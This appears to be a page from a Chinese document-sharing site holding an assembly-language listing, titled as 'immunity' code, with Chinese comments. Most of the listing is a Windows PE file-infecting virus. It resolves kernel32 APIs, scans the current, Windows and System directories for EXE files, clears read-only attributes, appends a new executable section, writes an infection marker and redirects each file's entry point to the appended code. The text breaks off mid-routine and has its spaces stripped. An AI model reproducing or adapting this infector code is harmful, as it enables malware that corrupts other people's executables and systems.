immunity代码柴婷婷文档格式.docx
- 文档编号:20928408
- 上传时间:2023-01-26
- 格式:DOCX
- 页数:25
- 大小:21.72KB
immunity代码柴婷婷文档格式.docx
《immunity代码柴婷婷文档格式.docx》由会员分享,可在线阅读,更多相关《immunity代码柴婷婷文档格式.docx(25页珍藏版)》请在冰豆网上搜索。
nstart:
popebp
subebp,offsetnstart
病毒中常用的一种方法。
得到一个偏移差。
程序后面用到的所有变量都需要加上个这偏移差
assumefs:
nothing;
设置SEH,发生异常可以直接返回原入口.
leaebx,SEH[ebp]
pushebx
pushfs:
[0]
movfs:
[0],esp
movOldEsp[ebp],esp
=========================
*更改程序入口地址*
cmpold_base[ebp],0
jnzgonext
movold_base[ebp],400000h
gonext:
cmpold_in[ebp],0
jnzchange
movold_in[ebp],1000h
change:
moveax,old_base[ebp]
movdes_base[ebp],eax
moveax,old_in[ebp]
movdes_in[ebp],eax
变量定义的的意思见后方
程序开始执行时,当前程序的原入口地址会放到old_base+old_in中
由于程序中old_base_in有别的用途,因此将此地址存放到
des_base_in,以便最后跳回原程序入口。
获得KERNEL32地址及所需的API函数地址
moveax,[esp+10h];
//取Kernel32返回地址
andax,0f000h
movesi,eax;
//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
subesi,1000h
cmpwordptr[esi],'
ZM'
;
//搜索EXE文件头
jnzshortLoopFindKernel32
GetPeHeader:
movzxedi,wordptr[esi+3ch]
addedi,esi
cmpwordptr[edi],'
EP'
//确认是否PE文件头
jnzshortLoopFindKernel32;
esi->
kernel32,edi->
kernel32PEHEADER
//////////////////////////////////////////////////查找GetProcAddress函数地址
movvKernel32[ebp],esi
GetPeExportTable:
movebx,[edi+78h];
4+14h+60h
addebx,vKernel32[ebp];
//得到输出函数表
movvExportKernel[ebp],ebx
push14
callaGetProcAddr
db"
GetProcAddress"
aGetProcAddr:
leaeax,GetApiAddress[ebp]
calleax
oreax,eax
jzExitTimes
movvGetProcAddress[ebp],eax;
得到GetProcAddress地址
leaesi,bGetModuleHandle[ebp];
获得所有用到的KERNEL32函数的地址
leaedi,vGetModuleHandle[ebp]
cld
ComeOn:
lodsd
addeax,ebp
pusheax
pushvKernel32[ebp]
calldwordptrvGetProcAddress[ebp]
stosd
cmpdwordptr[esi],0
jnzComeOn
callUserDll1
db"
User32.dll"
UserDll1:
calldwordptrvGetModuleHandle[ebp]
oreax,eax
jnzRight
callUserDll2
UserDll2:
calldwordptrvLoadLibrary[ebp]
jzExitTimes;
获得USER32.DLL地址
Right:
callGetMess
MessageBoxA"
GetMess:
pusheax
calldwordptrvGetProcAddress[ebp]
jzExitTimes
movvMessageBox[ebp],eax;
获得MESSAGEBOX地址
-------------------------
目录的开头部份
leaeax,NowPath[ebp]
moveax,256
callvGetCurrentDirectory[ebp];
成功返回写入字节数,失败返回0
testeax,eax
通过API函数得到当前程序所在目录
leaeax,SrcDir[ebp]
callvlstrcpy[ebp]
保存当前目录
movNowPathNo[ebp],1
FindStartT:
cmpNowPathNo[ebp],1
jzGFindFt
cmpNowPathNo[ebp],2
jzGetWinD
cmpNowPathNo[ebp],3
jzGetSysD
jmpAllFindEnd
根据NowPathNor值来判断感染哪个目录的文件
GetWinD:
callvGetWindowsDirectory[ebp]
callvSetCurrentDirectory[ebp]
jmpGFindFt
得到WINDOWS所在目录,并且将其设为当前目录
GetSysD:
callvGetSystemDirectory[ebp]
得到SYSTEM所在目录,并且将其设为当前目录
GFindFt:
leaeax,FindData[ebp]
leaeax,FileFilter[ebp]
callvFindFirstFile[ebp]
cmpeax,INVALID_HANDLE_VALUE
jzFindEnds
movhFind[ebp],eax
查找当前目录下的第一个EXE文件
GoOnFind:
获得文件的属性,确保文件可以被打开
leaeax,FindData[ebp].cFileName
callvGetFileAttributes[ebp]
cmpeax,-1
jzEndDir
movOldAttribute[ebp],eax
testeax,1
jzOpen
andeax,0fffffffeh
callvSetFileAttributes[ebp]
Open:
以下是病毒传染部份
push0
pushFILE_ATTRIBUTE_NORMAL
pushOPEN_EXISTING
pushFILE_SHARE_READ+FILE_SHARE_WRITE
pushGENERIC_READ+GENERIC_WRITE
callvCreateFile[ebp]
movhFile[ebp],eax
打开文件
leaeax,LastWriteTime[ebp]
leaeax,LastAccessTime[ebp]
leaeax,CreationTime[ebp]
pushhFile[ebp]
callvGetFileTime[ebp]
jzCloseFile1
保存原来文件修改时间
push0
pushPAGE_READWRITE
pushNULL
pushhFile[ebp]
callvCreateFileMapping[ebp]
jzCloseFile
movhMapping[ebp],eax
pushFILE_MAP_READ+FILE_MAP_WRITE
pushhMapping[ebp]
callvMapViewOfFile[ebp]
jzCloseMap
movpMapping[ebp],eax
判断感染条件:
1,是否PE.2:
是否已感染.3:
是否有足够的空间.4:
WINZIP自解压文件
movebx,eax
assumeebx:
ptrIMAGE_DOS_HEADER
moveax,[ebx].e_lfanew
testeax,0fffff000h
jnzEndDir;
Header+stub不可能太大,超过4096byte
movpe_header_off[ebp],eax
addebx,eax;
此时ebx指向PE文件头
assumeebx:
ptrIMAGE_NT_HEADERS
cmp[ebx].Signature,IMAGE_NT_SIGNATURE;
是PE文件吗?
jnzUnMap
cmpwordptr[ebx+1ah],'
FB'
是否已经感染
jzUnMap
***************************************************************
指向第二个节判断是否是WinZip自解压文件
是就不感染
***************************************************************
moveax,ebx
addeax,18h;
PEHEADER(4)+FILEHEADER(14)
movzxesi,[ebx].FileHeader.SizeOfOptionalHeader
addeax,esi;
eax指向第1个节表
assumeeax:
ptrIMAGE_SECTION_HEADER
movedx,[eax].PointerToRawData
addedx,ebx
subedx,pe_header_off[ebp]
subedx,4
cmpdwordptr[edx],0
jnzUnMap
addeax,28h;
eax指向第2个节表
movedx,eax
assumeedx:
moveax,[edx].PointerToRawData
addeax,ebx
subeax,pe_header_off[ebp]
addeax,12h;
加10h+2h(10h处为"
WinZip...."
)
cmpdwordptr[eax],'
piZn'
push[ebx].OptionalHeader.FileAlignment
popFileAlign[ebp]
判断是否有足够空间存储新节
28h=sizeofIMAGE_SECTION_HEADER,18h=sizeofIMAGE_FILE_HEADER
edi将指向新节
movzxeax,[ebx].FileHeader.NumberOfSections;
文件的节数
movecx,28h
mulecx
addeax,pe_header_off[ebp]
addeax,18h
addeax,esi
movNewSection_off[ebp],eax;
保存新节起始RVA
比较增加新节后是否超出SizeOfHeaders(节.TEXT在文件中的RVA)
cmpeax,[ebx].OptionalHeader.SizeOfHeaders
jaInfest;
即使没有添加空间还是可以免疫
pushpMapping[ebp];
关闭映射文件,然后从新生成新的映射文件
callvUnMapViewOfFile[ebp];
并将映射文件的空间增加4K以便加入病毒代码
callvCloseHandle[ebp]
callvGetFileSize[ebp];
getfilesize
movecx,FileAlign[ebp]
xoredx,edx
divecx
testedx,edx
jzNoChange
inceax
NoChange:
movfsize[ebp],eax;
文件尺寸节文件对齐
addeax,1000h
pusheax
movebx,eax
addebx,pe_header_off[ebp];
ptrIMAGE_NT_HEADERS
Noinfect:
保存原入口
moveax,[ebx].OptionalHeader.AddressOfEntryPoint
movold_in[ebp],eax
moveax,[ebx].OptionalHeader.ImageBase
movold_base[ebp],eax
movedi,NewSection_off[ebp];
新节的RVA
addedi,pMapping[ebp];
edi->
新节起始地址
*********************************************************************
空间允许,^0^,开始插入新节并填充各字段
esi指向原文件最后一个节,利用它来填充新节某些字段
*********************************************************************
inc[ebx].FileHeader.NumberOfSections;
节数目+1
movesi,edi;
edi指向新节
subesi,28h;
esi指向上一个节
assumeedi:
ptrIMAGE_SECTION_HEADER
assumeesi:
mov[edi].Name1,41h;
随便为新节命名,使之不等于0
push[ebx].OptionalHeader.SizeOfImage;
原文件映像装入内存后的总尺寸,对齐SectionAlignment.
pop[edi].VirtualAddress;
新节在内存中的地址
moveax,offsetvend-offsetvstart
mov[edi].Misc.VirtualSize,eax;
新节的大小(未对齐)
movecx,[ebx].OptionalHeader.FileAlignment
jzNoChange1
NoChange1:
mulecx
mov[edi].SizeOfRawData,eax;
新节对齐FileAligment后的大小
moveax,fsize[ebp]
mov[edi].PointerToRawData,eax;
本节在文件中的位置
mov[edi].Characteristics,0E0000020h;
可读可写可执行
*****************************************************************************************
更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
*****************************************************************************************
moveax,[edi].Misc.VirtualSize;
movecx,[ebx].OptionalHeader.SectionAlignment;
内存节对齐
jzNoChange2
NoChange2:
addeax,[ebx].OptionalHeader.SizeOfImage;
对齐后大小+原文件映像装入内存后的总尺寸,对齐SectionAlignment.
mov[ebx].OptionalHeader.SizeOfImage,eax;
更新后的文件映像装入内存后的总尺寸,对齐SectionAlignment.
moveax,[edi].VirtualAddress;
新节在内存中的地址写入入口点
mov[ebx].OptionalHeader.AddressOfEntryPoint,eax
movwordptr[ebx+1ah],'
写入感染标志
movedi,pMapping[ebp]
addedi,fsize[ebp]
leaesi,vstart[ebp]
movecx,offsetvend-offsetvstart
cld
repmovsb;
将病毒代码写入映射的内存中(在原文件之后)
***********
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- immunity 代码 婷婷